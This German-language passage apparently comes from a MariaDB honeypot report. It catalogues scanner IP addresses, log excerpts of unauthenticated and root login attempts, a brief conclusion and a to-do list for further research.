Quellen: 80.82.70.133 194.165.16.167 162.142.125.208 205.210.31.204 104.248.130.34 198.235.24.96 209.38.99.93 171.36.7.2 34.77.151.17 118.193.33.60 147.185.132.118 88.214.25.121 198.235.24.129 188.166.68.252 118.193.43.158 206.189.5.176 205.210.31.178 165.22.187.120 45.142.193.153 196.251.90.186 134.209.221.50 89.185.82.115 104.248.229.49 198.235.24.72 35.205.56.72 198.235.24.28 43.248.108.8 167.71.184.54 205.210.31.70 154.212.141.215 89.248.174.130 154.212.141.212 198.235.24.164 34.140.35.166 167.94.146.56 167.94.145.101 167.94.145.98 103.149.26.234 167.94.146.49 137.184.64.140 167.94.145.104 167.94.146.59 170.64.154.53 165.22.188.115 185.47.172.136 199.45.154.148 162.142.125.207 162.142.125.47 147.185.132.108 20.171.28.254 103.203.57.18
und ebenfalls von diesen Netzen (Internet-Monitoring und AWS):
Quellen: {larry|sharon|susan}.probe.onyphe.net {poetic|glowing|principled].monitoring.internet-measurement.com prod-{boron|barium}-{sfo2|us-central|us-east|nyc1|us-southeast}-{\d{2,3}}.{do|li}.binaryedge.ninja azpd{\w{5,8}}.stretchoid.com scan-{\d{2}[a-z]}.shadowserver.org pdcscan{2,3}.scanning.cybcube.com ec2-{\w*}[us-east-2]?.compute[-1]?.amazonaws.com
Beispiel:
[Warning] Aborted connection 325749 to db: 'unconnected' user: 'unauthenticated' host: '137.184.64.140' (This connection closed normally without authentication) ... 0, 1, 4, 5, 8, 9, 10 Wiederholungen
Zugriffsversuch mittels regulärem Connect
Versuche OHNE Passwort (40x)
Quellen: 196.251.91.50 196.251.114.6 196.251.90.139 196.251.91.43 196.251.114.27 196.251.114.6 196.251.90.186 196.251.114.27 196.251.91.89 196.251.91.47 196.251.91.50 196.251.90.139 196.251.91.69 196.251.91.89 196.251.114.10 196.251.114.6 196.251.91.90 196.251.91.87 196.251.115.18 196.251.114.98 196.251.115.18 196.251.91.89 196.251.115.26 196.251.83.97 196.251.91.53 196.251.90.139 196.251.90.186 34.140.170.97 196.251.91.50 196.251.91.90 196.251.85.11 196.251.91.55 196.251.83.125 196.251.91.80 196.251.83.97 196.251.91.78
Beispiel:
[Warning] Access denied for user 'root'@'196.251.91.69' (using password: NO)
Versuche OHNE und dann MIT Passwort (28 x)
Quellen: 165.154.172.87 165.154.164.92 128.14.237.43 196.251.69.185 37.19.221.171 196.251.118.8 196.251.91.78 196.251.69.185 196.251.91.77 196.251.91.19 196.251.91.78 196.251.91.44 196.251.118.47 196.251.91.32 45.129.56.161 196.251.91.27 196.251.91.19 196.251.91.19 146.70.132.164 196.251.86.26 196.251.91.78 196.251.69.185 196.251.83.136 196.251.91.52 38.240.225.39 196.251.91.27 196.251.69.185 196.251.91.51
Beispiel:
[Warning] Access denied for user 'root'@'196.251.80.168' (using password: NO) [Warning] Access denied for user 'root'@'196.251.80.168' (using password: YES) ... 1, 2, 3, 13, 27, 28, 37 Wiederholungen
Komplexere Zugriffsversuche mittels Port probing und regulärem Connect (15 x)
Quellen: 8.219.222.66 47.250.81.7 8.219.222.66 34.76.203.56 8.221.136.6 47.254.192.213 (6 x)
Beispiel:
[Warning] Aborted connection 1134 to db: 'unconnected' user: 'unauthenticated' host: '47.254.192.213' (This connection closed normally without authentication) [Warning] Access denied for user 'root'@'47.254.192.213' (using password: NO)
Quelle: 45.150.237.21 (1 x)
Beispiel:
[Warning] Aborted connection 22965 to db: 'unconnected' user: 'unauthenticated' host: '45.150.237.21' (This connection closed normally without authentication) ... 9 Wiederholungen [Warning] Access denied for user ''@'45.150.237.21' (using password: NO)
Quellen: 101.36.122.183 152.32.150.7 152.32.245.170 118.193.58.125 165.154.48.24 107.150.117.219 116.90.238.220 165.154.100.58 (8 x)
Beispiel:
[Warning] Aborted connection 2816 to db: 'unconnected' user: 'unauthenticated' host: '165.154.100.58' (This connection closed normally without authentication) ... 0, 1 Wiederholungen [Warning] Access denied for user ''@'165.154.100.58' (using password: NO) [Warning] Access denied for user 'root'@'165.154.100.58' (using password: YES) ... 0, 48 Widerholungen
Komplexere Zugriffsversuche mittels regulärem Connect und Port probing (3 x)
Quelle: 104.193.135.104 (1 x)
Beispiel:
[Warning] Access denied for user 'root'@'104.193.135.104' (using password: NO) [Warning] Aborted connection 47 to db: 'unconnected' user: 'unauthenticated' host: '104.193.135.104' (This connection closed normally without authentication)
Quelle: 196.251.91.18 (1 x)
Beispiel:
[Warning] Access denied for user 'root'@'196.251.91.18' (using password: NO) [Warning] Access denied for user 'root'@'196.251.91.18' (using password: YES) ... 3 Wiederholungen [Warning] Aborted connection 1013 to db: 'unconnected' user: 'unauthenticated' host: '196.251.91.18' (This connection closed normally without authentication)
Quelle: 94.102.49.155 (1 x)
Beispiel:
[Warning] Access denied for user 'root'@'94.102.49.155' (using password: NO) [Warning] Access denied for user 'root'@'94.102.49.155' (using password: YES) ... 1 Wiederholungen [Warning] Aborted connection 1389 to db: 'unconnected' user: 'unauthenticated' host: '94.102.49.155' (This connection closed normally without authentication) [Warning] Access denied for user 'root'@'94.102.49.155' (using password: YES) ... 3 Wiederholungen
Diese Muster sind im beobachteten Zeitraum selten aufgetreten.
Fazit
Lösegeld bei Cybercrime zu zahlen lohnt sich nicht!
Outlook / Todoes
Weiter Punkte die man das nächste mal klären, verfeinern und optimieren könnte:
- Passwörter herausfinden, mit welchen probiert wird. Ev. MariaDB patchen? (
sql_acl.cc
) - Etwas mehr spannende Daten zur Verfügung stellen und schauen was dann genau passiert.
- Mehrere verschiedene Angriffe aufzeichnen (auf IP gefiltert?). Ev. aus verschiedenen Ländern (USA, China, Russland, Ukraine, ...)
- Man könnte auch versuchen den Honeypot mit
skip_grant_tables
zu betreiben um Zugriffe mit Passwort zu ermöglichen? log_warnings
is mit 9 zu verbose eingestellt. Ev. reicht der Default?- Zugriff mit SSL only? Schauen ob TLS schon jemand kann.
- Galera Protokoll? War das wirklich ein Angriff oder nur ein Problem im Netzwerk/mit dem Galera Cluster?
- Das selbe Spiel mit MySQL machen um zu sehen, ob hier andere Angriffsmuster erfolgen.
- Welche DB user werden sonst noch attakiert (CMS)?